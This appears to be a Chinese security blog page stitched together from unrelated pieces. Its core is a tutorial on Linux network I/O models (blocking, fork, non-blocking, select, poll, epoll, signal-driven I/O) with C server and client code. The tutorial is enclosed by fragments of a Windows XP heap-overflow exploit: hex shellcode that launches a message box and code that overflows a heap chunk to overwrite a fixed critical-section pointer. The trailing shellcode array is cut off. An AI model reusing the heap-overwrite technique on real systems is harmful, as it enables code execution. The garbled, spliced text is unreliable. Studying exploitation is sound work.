"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x30\x75\x6e\x67\x68\x77\x6f\x6f\x79\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"
"\x88\x06\x31\x00\x20\xf0\xfd\x7f"; // 0x00310688 shellcode起始地址, 0x7ffdf020 RtlEnterCriticalSection的指针地址(固定不变)
int main()
{
HLOCAL h1=0,h2=0;
HANDLE hp;
hp=HeapCreate(0,0x1000,0x10000);
//__asm int 3;
//EnterCriticalSection(0);
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
memcpy(h1,shellcode,0x200);
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
return 0;
}
但是测试过程中始终失败,具体也找不到什么原因。
因为最近在找开源网络组件的漏洞,将自己遇到的linux网络编程问题做个总结,也巩固一下自己的网络基础知识,我做的就是总结和归纳,很多知识都是直接使用参考链接中的代码和描述,感觉描述不清楚的,建议直接看参考链接中大佬的文章,描述不正确的,直接可以联系我,我做改正。
写这个文章看了很多大佬的文章,大佬的文章,基本有3个特点
1. 全部理论介绍,理论特别详细,但是没有具体实现代码,有的可能也只是伪码
2. 是基本全是代码,理论基本没有,但是代码又不全,看不到效果
3. 形象比喻,各种绘声绘影的描述网络模型,但是代码一行没有
本文主旨是show me the code
,废话不多,能用代码描述的尽力不多bb,每个模型,我都简要的做了描述,之后使用简单的代码来做指导,并且代码可以使用,开源代码,你可以编译执行,观察效果,之后再结合一点理论,自然而然也就大概理解了。等你了解了,这些基础,再去使用什么libev/libuv
的库,相对来说也就简单多了。
这单纯的只是一个基础,没有涉及到网络组件漏洞挖掘,大佬勿喷
Linux
的5
种网络模型(I/O
模型)
1) 阻塞I/O blocking I/O
2) 非阻塞I/O nonblocking I/O
3) 复用I/O I/O multiplexing (select/poll/epoll) (主用于TCP)
4) 信号驱动I/O signal driven I/O (主用于UDP)
5) 异步I/O asynchronous I/O
我尽我所能的把上面的每个模型,包括其中每个利用点,都说一下,除了目前业界实现不完全的异步I/O
这是最基础,最简单的linux网络模型, 下面利用简单的一幅图描述网络阻塞模型的原理
server
|
bind
|
listen
|
accept
|
阻塞直到客户端连接
|
client |
| |
connect ----建立连接完成3次握手----> |
| |
write --------数据(请求)------> read
| |
| 处理请求
| |
read <---------应答---------- write
| |
close close
阻塞模型最大的弊端就是server
启动之后一直阻塞,直到client
端发送请求为止,什么也不干
这样极大的浪费了网络资源,所以这种的一般只适合本地的文件读取,写入操作,不适合做网络应用
实现的源码
server.c
do
{
struct sockaddr_in server_addr, client_addr;
unsigned char client_host[256];
memset((void*)client_host, 0, sizeof(client_host));
server_fd = socket(AF_INET, SOCK_STREAM, 0);
if (server_fd == -1)
{
handle_error("socket");
break;
}
memset((void*)&server_addr, 0, sizeof(struct sockaddr_in));
server_addr.sin_family = AF_INET; /* ipv4 tcp packet */
server_addr.sin_port = htons(SERVER_PORT); /* convert to network byte order */
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(server_fd, (SA*)&server_addr, sizeof(struct sockaddr_in)) == -1)
{
handle_error("bind");
break;
}
if (listen(server_fd, 32) == -1)
{
handle_error("listen");
break;
}
printf("waiting for connect to server...\n");
int client_fd;
int client_addr_len = sizeof(struct sockaddr_in);
if ((client_fd = accept(server_fd, (SA*)&client_addr,
(socklen_t*)&client_addr_len)) == -1)
{
handle_error("accept");
break;
}
printf("connection from %s, port %d\n",
inet_ntoa(client_addr.sin_addr),
ntohs(client_addr.sin_port));
write(client_fd, SEND_MSG, sizeof(SEND_MSG));
} while (0);
客户端
client.c
do
{
struct sockaddr_in server_addr;
memset((void*)&server_addr, 0, sizeof(struct sockaddr_in));
server_addr.sin_port = htons(SERVER_PORT);
server_addr.sin_family = AF_INET;
char buf_write[READ_MAX_SIZE] = SEND_2_SERVER_MSG;
char buf_read[WRITE_MAX_SIZE];
memset(buf_read, 0, sizeof(buf_read));
server_fd = socket(AF_INET, SOCK_STREAM, 0);
if (server_fd == -1)
{
handle_error("socket");
break;
}
if (inet_aton(SERVER_HOST, (struct in_addr*)&server_addr.sin_addr) == 0)
{
handle_error("inet_aton");
break;
}
if (connect(server_fd, (const SA*)&server_addr, sizeof(struct sockaddr_in)) == -1)
{
handle_error("client connect to server");
break;
}
printf("Connect successfully...\n");
ssize_t write_size = write(server_fd, buf_write, strlen(buf_write));
if (write_size == -1)
{
handle_error("write");
break;
}
ssize_t recv_size = read(server_fd, buf_read, sizeof(buf_read));
if (recv_size == -1)
{
handle_error("read");
break;
}
printf("recv data: %s size: %ld\n", buf_read, recv_size);
} while (0);
为了提高网络阻塞模型的效率,在服务器端可以使用fork
子进程来完成
大概的原理图
server端
+----------+
| listenfd |
| |
connect ----------------> | connfd |
^ +----------+
| |
| | fork 子进程处理
| |
| +----------+
| | listenfd |
| | |
+------------ | connfd |
+----------+
这种模型,客户端感受不到,只需要更改服务器端代码即可
do
{
struct sockaddr_in server_addr, client_addr;
unsigned char client_host[256];
memset((void *)client_host, 0, sizeof(client_host));
server_fd = socket(AF_INET, SOCK_STREAM, 0);
if (server_fd == -1)
{
handle_error("socket");
break;
}
memset((void *)&server_addr, 0, sizeof(struct sockaddr_in));
server_addr.sin_family = AF_INET; /* ipv4 tcp packet */
server_addr.sin_port = htons(SERVER_PORT); /* convert to network byte order */
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(server_fd, (SA *)&server_addr, sizeof(struct sockaddr_in)) == -1)
{
handle_error("bind");
break;
}
if (listen(server_fd, LISTEN_BACKLOG) == -1)
{
handle_error("listen");
break;
}
for (;;)
{
printf("waiting for connect to server...\n");
int client_fd;
int client_addr_len = sizeof(struct sockaddr_in);
if ((client_fd = accept(server_fd, (struct sockaddr *)&client_addr,
(socklen_t *)&client_addr_len)) == -1)
{
handle_error("accept");
break;
}
printf("connection from %s, port %d\n",
inet_ntoa(client_addr.sin_addr),
ntohs(client_addr.sin_port));
// child process to handle client_fd
if (0 == fork())
{
close(server_fd); /* child process close listening server_fd */
write(client_fd, SEND_2_CLIENT_MSG, sizeof(SEND_2_CLIENT_MSG));
close(client_fd); /* child process close client_fd */
exit(0);
}
else /* parent process close client_fd */
close(client_fd);
}
} while (0);
多次启动客户端,服务器端,大概是这样
➜ LinuxNetwork ./block_server_fork
waiting for connect to server...
connection from 127.0.0.1, port 41458
waiting for connect to server...
connection from 127.0.0.1, port 41459
waiting for connect to server...
即使使用fork
来提升效率,但是fork
模式,依然有两个致命的缺点
1)用 fork() 的问题在于每一个 Connection 进来时的成本太高,如果同时接入的并发连接数太多容易进程数量很多,进程之间的切换开销会很大,同时对于老的内核(Linux)会产生雪崩效应。
2)用 Multi-thread 的问题在于 Thread-safe 与 Deadlock 问题难以解决,另外有 Memory-leak 的问题要处理,这个问题对于很多程序员来说无异于恶梦,尤其是对于连续服务器的服务器程序更是不可以接受。
所以为了提高效率,又提出了以下的非阻塞模型
直接单独使用这种模型很少用到,因为基本上是一个线程只能同时处理一个socket
,效率低下,
很多都是结合了下面的I/O
复用来使用,
所以大概了解一下代码,知道原理即可,借用UNIX
网络编程书中的一句话
进程把一个套接字设置成非阻塞是在通知内核:
当所有请求的I/Ocaozuo非得吧本进程投入睡眠才能完成时,不要把本进程投入睡眠,而是返回一个错误
样例代码
standard_no_block_server.c
do
{
if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
handle_error("socket");
break;
}
last_fd = server_fd;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(SERVER_PORT);
server_addr.sin_addr.s_addr = INADDR_ANY;
bzero(&(server_addr.sin_zero), 8);
if (bind(server_fd, (SA *)&server_addr, sizeof(SA)) == -1)
{
handle_error("bind");
break;
}
if (listen(server_fd, LISTEN_BACKLOG) == -1)
{
handle_error("listen");
break;
}
if ((client_fd = accept(server_fd,
(SA *)&client_addr,
(socklen_t*)&sin_size)) == -1)
{
handle_error("accept");
break;
}
fcntl(last_fd, F_SETFL, O_NONBLOCK);
fcntl(client_fd, F_SETFL, O_NONBLOCK);
for (; ;)
{
for (int i = server_fd; i <= last_fd; i++)
{
printf("Round number %d\n", i);
if (i == server_fd)
{
sin_size = sizeof(struct sockaddr_in);
if ((client_fd = accept(server_fd, (SA *)&client_addr,
(socklen_t*)&sin_size)) == -1)
{
handle_error("accept");
continue;
}
printf("server: got connection from %s\n",
inet_ntoa(client_addr.sin_addr));
fcntl(client_fd, F_SETFL, O_NONBLOCK);
last_fd = client_fd;
}
else
{
ssize_t recv_size = read(client_fd, buf_read, READ_MAX_SIZE);
if (recv_size < 0)
{
handle_error("recv");
break;
}
if (recv_size == 0)
{
close(client_fd);
continue;
}
else
{
buf_read[recv_size] = '\0';
printf("The string is: %s \n", buf_read);
if (write(client_fd, SEND_2_CLIENT_MSG, strlen(SEND_2_CLIENT_MSG)) == -1)
{
handle_error("send");
continue;
}
}
}
}
}
} while (0);
缺点就是使用大量的CPU
轮询时间,浪费了大量的宝贵的服务器CPU
资源
无论是阻塞还是单纯的非阻塞模型,最致命的缺点就是效率低,在处理大量请求时,无法满足使用需求
所以就需要用到接下来介绍的各种I/O
复用方式了
select
方式简单点来说就是一个用户线程,一次监控多个socket
,显然要比简单的单线程单socket
速度要快很多很多。
这部分主要来源于参考链接-Linux编程之select
无论是以后讲到的poll
还是epoll
,原理和select
基本相同,所以这里简单用一个流程图来表述一下select
使用
User Thread Kernel
| |
| select |
socket ------------> +
| |
block| | 等待数据
| Ready |
+ <---------------- +
| |
| Request | 拷贝数据
+ ------------> +
| |
| Response |
+ <------------ +
从流程上来看,使用select
函数进行IO请求和同步阻塞模型没有太大的区别,甚至还多了添加监视socket
,以及调用select
函数的额外操作,效率更差。但是,使用selec
t以后最大的优势是用户可以在一个线程内同时处理多个socket
的I/O
请求。用户可以注册多个socket
,然后不断地调用select
读取被激活的socket
,即可达到在同一个线程内同时处理多个I/O
请求的目的。而在同步阻塞模型中,必须通过多线程的方式才能达到这个目的。
select
伪码
{
select(socket);
while(1)
{
sockets = select();
for(socket in sockets)
{
if(can_read(socket))
{
read(socket, buffer);
process(buffer);
}
}
}
}
select
语法
#include <sys/select.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int select(int maxfdp, fd_set *readset, fd_set *writeset, fd_set *exceptset,struct timeval *timeout);
参数说明:
maxfdp
:被监听的文件描述符的总数,它比所有文件描述符集合中的文件描述符的最大值大1,因为文件描述符是从0开始计数的;
readfds/writefds/exceptset
:分别指向可读、可写和异常等事件对应的描述符集合。
timeout
:用于设置select
函数的超时时间,即告诉内核select
等待多长时间之后就放弃等待。timeout == NULL
表示等待无限长的时间
timeval
结构体定义如下:
struct timeval
{
long tv_sec; /*秒 */
long tv_usec; /*微秒 */
};
返回值:超时返回0;失败返回-1
;成功返回大于0
的整数,这个整数表示就绪描述符的数目。
select
使用时有几个比较重要的宏
int FD_ISSET(int fd, fd_set *set); -> 测试fd是否在set中
void FD_SET(int fd, fd_set *set); -> 添加fd进set中
void FD_ZERO(fd_set *set); -> 将set置零
给出一个案例来详细说明select
的使用
select_server.c
do
{
server_fd = socket(AF_INET, SOCK_STREAM, 0);
if (server_fd == -1)
{
handle_error("socket");
break;
}
memset((void*)&server_addr, 0, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
server_addr.sin_port = htons(SERVER_PORT);
if (-1 == bind(server_fd,
(struct sockaddr*)&server_addr,
sizeof(server_addr)))
{
handle_error("bind");
break;
}
if (-1 == listen(server_fd, LISTEN_BACKLOG))
{
handle_error("listen");
break;
}
maxfd = server_fd;
maxi = -1;
for (i = 0; i < FD_SETSIZE; i++)
client[i] = -1;
FD_ZERO(&allset);
FD_SET(server_fd, &allset);
for (;;)
{
rset = allset;
nready = select(maxfd + 1, &rset, NULL, NULL, NULL);
if (FD_ISSET(server_fd, &rset))
{
clilen = sizeof(client_addr);
client_fd = accept(server_fd, (SA*)&client_addr, &clilen);
printf("connection from %s, port %d\n",
inet_ntoa(client_addr.sin_addr),
ntohs(client_addr.sin_port));
for (i = 0; i < FD_SETSIZE; i++)
{
if (client[i] < 0)
{
client[i] = client_fd;
break;
}
}
if (i == FD_SETSIZE)
{
handle_error("too many clients");
break;
}
FD_SET(client_fd, &allset);
if (client_fd > maxfd)
maxfd = client_fd;
if (i > maxi)
maxi = i;
if (--nready <= 0)
continue; /* no more readable descriptors */
}
for (i = 0; i <= maxi; i++)
{
if ((monitfd = client[i]) < 0)
continue;
if (FD_ISSET(monitfd, &rset))
{
// 请求关闭连接
if ((n = read(monitfd, buf_read, READ_MAX_SIZE)) == 0)
{
printf("client[%d] aborted connection\n", i);
close(monitfd);
client[i] = -1;
}
// 发生错误
if (n < 0)
{
printf("client[%d] closed connection\n", i);
close(monitfd);
client[i] = -1;
handle_error("read");
break;
}
else // 发送数据给客户端
{
printf("Client: %s\n", buf_read);
write(monitfd, buf_write, strlen(buf_write));
}
if (--nready <= 0)
break;
}
}
}
} while (0);
编译&运行
➜ LinuxNetwork make
➜ LinuxNetwork ./select_server
connection from 127.0.0.1, port 35767
Client: Hello, message from client.
client[0] aborted connection
Client: Hello, message from client.
➜ LinuxNetwork ./client
Connect successfully...
recv data: Hello, message from server. size: 27
最后,来说一下select
的缺点
1、单个进程可监视的fd数量被限制,即能监听端口的大小有限。一般来说这个数目和系统内存关系很大,具体数目可以cat/proc/sys/fs/file-max察看。32位机默认是1024个。64位机默认是2048.
2、 对socket进行扫描时是线性扫描,即采用轮询的方法,效率较低:当套接字比较多的时候,每次select()都要通过遍历FD_SETSIZE个Socket来完成调度,不管哪个Socket是活跃的,都遍历一遍。这会浪费很多CPU时间。如果能给套接字注册某个回调函数,当他们活跃时,自动完成相关操作,那就避免了轮询,这正是epoll与kqueue做的。
3、需要维护一个用来存放大量fd的数据结构,这样会使得用户空间和内核空间在传递该结构时复制开销大。
poll
的机制与select
类似,与select
在本质上没有多大差别,管理多个描述符也是进行轮询,根据描述符的状态进行处理,但是poll
没有最大文件描述符数量的限制。poll
和select
同样存在一个缺点就是,包含大量文件描述符的数组被整体复制于用户态和内核的地址空间之间,而不论这些文件描述符是否就绪,它的开销随着文件描述符数量的增加而线性增大。
跟select
基本相同,直接看一下源码
poll_server.c
do
{
server_fd = socket(AF_INET, SOCK_STREAM, 0);
if (server_fd == -1)
{
handle_error("socket");
break;
}
bzero(&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
server_addr.sin_port = htons(10086);
if (-1 == bind(server_fd, (SA *)&server_addr, sizeof(server_addr)))
{
handle_error("bind");
break;
}
if (-1 == listen(server_fd, LISTEN_BACKLOG))
{
handle_error("listen");
break;
}
// index 0 存储服务端socket fd
client[0].fd = server_fd;
client[0].events = POLLRDNORM;
for (i = 1; i < OPEN_MAX; i++)
client[i].fd = -1; /* -1 indicates available entry */
maxi = 0; /* max index into client[] array */
/* end fig01 */
for (;;)
{
nready = poll(client, maxi + 1, -1);
// 客户端连接请求
if (client[0].revents & POLLRDNORM)
{
clilen = sizeof(client_addr);
client_fd = accept(server_fd, (SA *)&client_addr, &clilen);
printf("connection from %s, port %d\n",
inet_ntoa(client_addr.sin_addr),
ntohs(client_addr.sin_port));
// 加入监控集合
for (i = 1; i < OPEN_MAX; i++)
{
if (client[i].fd < 0)
{
client[i].fd = client_fd; /* save descriptor */
break;
}
}
if (i == OPEN_MAX)
{
handle_error("too many clients");
break;
}
// 设置新fd events可读
client[i].events = POLLRDNORM;
if (i > maxi)
maxi = i; /* max index in client[] array */
if (--nready <= 0)
continue; /* no more readable descriptors */
}
// 轮询所有使用中的事件
for (i = 1; i <= maxi; i++)
{
if ((monitfd = client[i].fd) < 0)
continue;
if (client[i].revents & (POLLRDNORM | POLLERR))
{
if ((n = read(monitfd, buf_read, READ_MAX_SIZE)) < 0)
{
if (errno == ECONNRESET)
{
printf("client[%d] aborted connection\n", i);
close(monitfd);
client[i].fd = -1;
}
else
printf("read error");
}
else if (n == 0)
{
printf("client[%d] closed connection\n", i);
close(monitfd);
client[i].fd = -1;
}
else
{
printf("Client: %s\n", buf_read);
write(monitfd, buf_write, strlen(buf_write));
}
if (--nready <= 0)
break;
}
}
}
} while (0);
poll
解决了select
使用中socket
数目的限制,但是poll
也存在着和select
一样的致命缺点,需要浪费大量的cpu时间去轮询监控的socket
,随着监控的socket
数目增加,性能线性增加,所以为了解决这个问题,epoll
被开发出来了
epoll
是poll
的升级版本,拥有poll
的优势,而且不需要轮询来消耗不必要的cpu
,极大的提高了工作效率
目前epoll
存在两种工作模式
LT
(level triggered
,水平触发模式)是缺省的工作方式,并且同时支持block
和non-block socket
。在这种做法中,内核告诉你一个文件描述符是否就绪了,然后你可以对这个就绪的fd
进行I/O
操作。如果你不作任何操作,内核还是会继续通知你的,所以,这种模式编程出错误可能性要小一点。比如内核通知你其中一个fd可以读数据了,你赶紧去读。你还是懒懒散散,不去读这个数据,下一次循环的时候内核发现你还没读刚才的数据,就又通知你赶紧把刚才的数据读了。这种机制可以比较好的保证每个数据用户都处理掉了。
ET
(edge-triggered
,边缘触发模式)是高速工作方式,只支持no-block socket
。在这种模式下,当描述符从未就绪变为就绪时,内核通过epoll
告诉你。然后它会假设你知道文件描述符已经就绪,并且不会再为那个文件描述符发送更多的就绪通知,等到下次有新的数据进来的时候才会再次出发就绪事件。简而言之,就是内核通知过的事情不会再说第二遍,数据错过没读,你自己负责。这种机制确实速度提高了,但是风险相伴而行。
epoll
使用时需要使用到的API和相关数据结构
//用户数据载体
typedef union epoll_data {
void *ptr;
int fd;
uint32_t u32;
uint64_t u64;
} epoll_data_t;
//fd装载入内核的载体
struct epoll_event {
uint32_t events; /* Epoll events */
epoll_data_t data; /* User data variable */
};
/* 创建一个epoll的句柄,size用来告诉内核需要监听的数目一共有多大。当创建好epoll句柄后,
它就是会占用一个fd值,所以在使用完epoll后,必须调用close()关闭,否则可能导致fd被耗尽。*/
int epoll_create(int size);
/*epoll的事件注册函数*/
int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event);
/*等待事件的到来,如果检测到事件,就将所有就绪的事件从内核事件表中复制到它的第二个参数events指向的数组*/
int epoll_wait(int epfd, struct epoll_event *events, int maxevents, int timeout);
epoll
的事件注册函数epoll_ctl
,第一个参数是epoll_create
的返回值,第二个参数表示动作,使用如下三个宏来表示:
POLL_CTL_ADD //注册新的fd到epfd中;
EPOLL_CTL_MOD //修改已经注册的fd的监听事件;
EPOLL_CTL_DEL //从epfd中删除一个fd;
其中结构体epoll_event
中events
的值
EPOLLIN //表示对应的文件描述符可以读(包括对端SOCKET正常关闭);
EPOLLOUT //表示对应的文件描述符可以写;
EPOLLPRI //表示对应的文件描述符有紧急的数据可读(这里应该表示有带外数据到来);
EPOLLERR //表示对应的文件描述符发生错误;
EPOLLHUP //表示对应的文件描述符被挂断;
EPOLLET //将EPOLL设为边缘触发(Edge Triggered)模式,这是相对于水平触发(Level Triggered)来说的。
EPOLLONESHOT//只监听一次事件,当监听完这次事件之后,如果还需要继续监听这个socket的话,需要再次把这个socket加入到EPOLL队列里。
了解了基本情况,那么直接来看基本的案例代码
epoll_server.c
do
{
int client_fd, sockfd, epfd, nfds;
ssize_t n;
char buf_write[READ_MAX_SIZE] = SEND_2_CLIENT_MSG;
char buf_read[WRITE_MAX_SIZE];
memset(buf_read, 0, sizeof(buf_read));
socklen_t clilen;
//声明epoll_event结构体的变量,ev用于注册事件,数组用于回传要处理的事件
struct epoll_event ev, events[20];
//生成用于处理accept的epoll专用的文件描述符
epfd = epoll_create(256);
struct sockaddr_in client_addr;
struct sockaddr_in server_addr;
server_fd = socket(AF_INET, SOCK_STREAM, 0);
// 设置为非阻塞
fcntl(server_fd, F_SETFL, O_NONBLOCK);
if (server_fd == -1)
{
handle_error("socket");
break;
}
//把socket设置为非阻塞方式
//setnonblocking(server_fd);
//设置与要处理的事件相关的文件描述符
ev.data.fd = server_fd;
//设置要处理的事件类型
ev.events = EPOLLIN | EPOLLET;
//注册epoll事件
epoll_ctl(epfd, EPOLL_CTL_ADD, server_fd, &ev);
bzero(&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
server_addr.sin_port = htons(10086);
if (-1 == bind(server_fd, (SA *)&server_addr, sizeof(server_addr)))
{
handle_error("bind");
break;
}
if (-1 == listen(server_fd, LISTEN_BACKLOG))
{
handle_error("listen");
break;
}
for (;;)
{
//等待epoll事件的发生
nfds = epoll_wait(epfd, events, 20, 500);
if (nfds == -1)
{
handle_error("epoll_wait");
break;
}
//处理所发生的所有事件
for (int i = 0; i < nfds; ++i)
{
// server_fd 事件
if (events[i].data.fd == server_fd)
{
client_fd = accept(server_fd, (SA *)&client_addr, &clilen);
if (client_fd == -1)
{
handle_error("accept");
break;
}
fcntl(client_fd, F_SETFL, O_NONBLOCK);
printf("connection from %s, port %d\n",
inet_ntoa(client_addr.sin_addr),
ntohs(client_addr.sin_port));
//设置用于读操作的文件描述符
ev.data.fd = client_fd;
//设置用于注测的读操作事件
ev.events = EPOLLIN | EPOLLET;
//注册ev
epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd, &ev);
}
else if (events[i].events & EPOLLIN) //已连接用户,并且收到数据,那么进行读入。
{
if ((sockfd = events[i].data.fd) < 0)
continue;
if ((n = read(sockfd, buf_read, READ_MAX_SIZE)) < 0)
{
// 删除sockfd
epoll_ctl(epfd, EPOLL_CTL_DEL, sockfd, NULL);
if (errno == ECONNRESET)
{
close(sockfd);
events[i].data.fd = -1;
}
else
{
handle_error("read");
break;
}
}
else if (n == 0)
{
// 删除sockfd
epoll_ctl(epfd, EPOLL_CTL_DEL, sockfd, NULL);
close(sockfd);
events[i].data.fd = -1;
}
else
{
//设置用于写操作的文件描述符
ev.data.fd = sockfd;
//设置用于注测的写操作事件
ev.events = EPOLLOUT | EPOLLET;
//修改sockfd上要处理的事件为EPOLLOUT
epoll_ctl(epfd, EPOLL_CTL_MOD, sockfd, &ev);
printf("Client: %s\n", buf_read);
}
}
else if (events[i].events & EPOLLOUT) // 如果有数据发送
{
sockfd = events[i].data.fd;
write(sockfd, buf_write, strlen(buf_write));
//设置用于读操作的文件描述符
ev.data.fd = sockfd;
//设置用于注测的读操作事件
ev.events = EPOLLIN | EPOLLET;
//修改sockfd上要处理的事件为EPOLIN
epoll_ctl(epfd, EPOLL_CTL_MOD, sockfd, &ev);
}
}
}
} while (0);
编译&执行
➜ LinuxNetwork make
➜ LinuxNetwork ./epoll_server
connection from 127.0.0.1, port 50640
Client: Hello, message from client.
➜ LinuxNetwork ./client
Connect successfully...
recv data: Hello, message from server. size: 27
比较epoll
的代码和poll
代码最大的区别,在监控所有socket
的过程中,并不需要不断的轮询监控的socket
去检查其状态,效率有了巨大的提升
介绍完epoll
的语法和相关实现,现在来看epoll
优势
1. 支持一个进程打开大数目的socket描述符
2. IO效率不随FD数目增加而线性下降
3. 使用mmap加速内核与用户空间的消息传递(这个需要阅读epoll实现源码)
信号驱动式I/O
是指进程预先告知内核,使得当某个描述符上发生某事时,内核使用信号通知相关进程
主要用于UDP
数据通信,其用到的API
#include <signal.h>
typedef void (*sighandler_t)(int);
sighandler_t signal(int signum, sighandler_t handler);
int sigaction(int signum, const struct sigaction *act,
struct sigaction *oldact);
其中sigaction
结构体
struct sigaction {
void (*sa_handler)(int); // 信号处理函数
void (*sa_sigaction)(int, siginfo_t *, void *); // 同上, 某些OS实现时联合体
sigset_t sa_mask; // 信号掩码, 用于屏蔽信号
int sa_flags; // 设置标志
void (*sa_restorer)(void); // 不是为应用准备的,见sigreturn(2)
};
其中设置标志,使用fcntl
函数
#include <unistd.h>
#include <fcntl.h>
int fcntl(int fd, int cmd, ... /* arg */ );
这里没有看到特别大的用处,直接给一个案例代码,以后遇到再细说
sigio_server.c
int server_fd;
void do_sigio(int sig)
{
char buf_read[READ_MAX_SIZE];
memset((void *)buf_read, 0, sizeof(buf_read));
struct sockaddr_in client_addr;
unsigned int clntLen;
int recvMsgSize;
do
{
clntLen = sizeof(client_addr);
if ((recvMsgSize = recvfrom(server_fd,
buf_read,
READ_MAX_SIZE,
MSG_WAITALL,
(SA *)&client_addr,
&clntLen)) < 0)
{
if (errno != EWOULDBLOCK)
{
handle_error("recvfrom");
break;
}
}
else
{
printf("connection from %s, port %d, data: %s\n",
inet_ntoa(client_addr.sin_addr),
ntohs(client_addr.sin_port), buf_read);
if (sendto(server_fd,
SEND_2_CLIENT_MSG,
strlen(SEND_2_CLIENT_MSG),
0,
(SA *)&client_addr,
sizeof(client_addr)) != strlen(SEND_2_CLIENT_MSG))
{
handle_error("sendto");
break;
}
}
} while (0);
}
int main()
{
server_fd = -1;
do
{
struct sockaddr_in server_addr;
server_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (server_fd == -1)
{
handle_error("socket");
break;
}
bzero((char *)&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(SERVER_PORT);
server_addr.sin_addr.s_addr = INADDR_ANY;
if (-1 == bind(server_fd, (SA *)&server_addr, sizeof(server_addr)))
{
handle_error("bind");
break;
}
struct sigaction sigio_action;
memset(&sigio_action, 0, sizeof(sigio_action));
sigio_action.sa_flags = 0;
sigio_action.sa_handler = do_sigio;
if (sigfillset(&sigio_action.sa_mask) < 0)
{
handle_error("sigfillset");
break;
}
sigaction(SIGIO, &sigio_action, NULL);
if (-1 == fcntl(server_fd, F_SETOWN, getpid()))
{
handle_error("fcntl_setdown");
break;
}
int flags;
flags = fcntl(server_fd, F_GETFL, 0);
if (flags == -1)
{
handle_error("fcntl_getfl");
break;
}
flags |= O_ASYNC | O_NONBLOCK;
fcntl(server_fd, F_SETFL, flags);
for (; ;)
{
printf("waiting ...\n");
sleep(3);
}
close(server_fd);
} while (0);
return 0;
}
编译及运行
➜ LinuxNetwork make
➜ LinuxNetwork ./sigio_server
waiting...
connection from 127.0.0.1, port 58119, data: Hello, message from server.
➜ LinuxNetwork ./client_udp
recv data: Hello, message from server. size: 27
目前该方面的技术还不够成熟,对于我们寻找网络组件方面的漏洞,帮助不大,这里略过了
套用知乎上的一个大佬说的
glibc的aio有bug,
Linux kernel的aio只能以O_DIRECT方式做直接IO,libeio也是beta阶段。
epoll是成熟的,但是epoll本身是同步的。
至此我们简单的将Linux
目前用到的网络模型做了介绍,每个模型,都使用了相关的代码来做案例,需要重点关注的是I/O
复用的部分,平时碰到的可能会比较多。
介绍完这些,为我们以后挖掘网络组件方面的漏洞做了一些基础铺垫。接下来可以来挖网络组件的洞了
使用libevent和libev提高网络应用性能——I/O模型演进变化史
文章已首发于安全客
环境
windows xp sp3
vs 2013
测试代码
#include <Windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#pragma warning(disable:4996)
char shellcode1[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
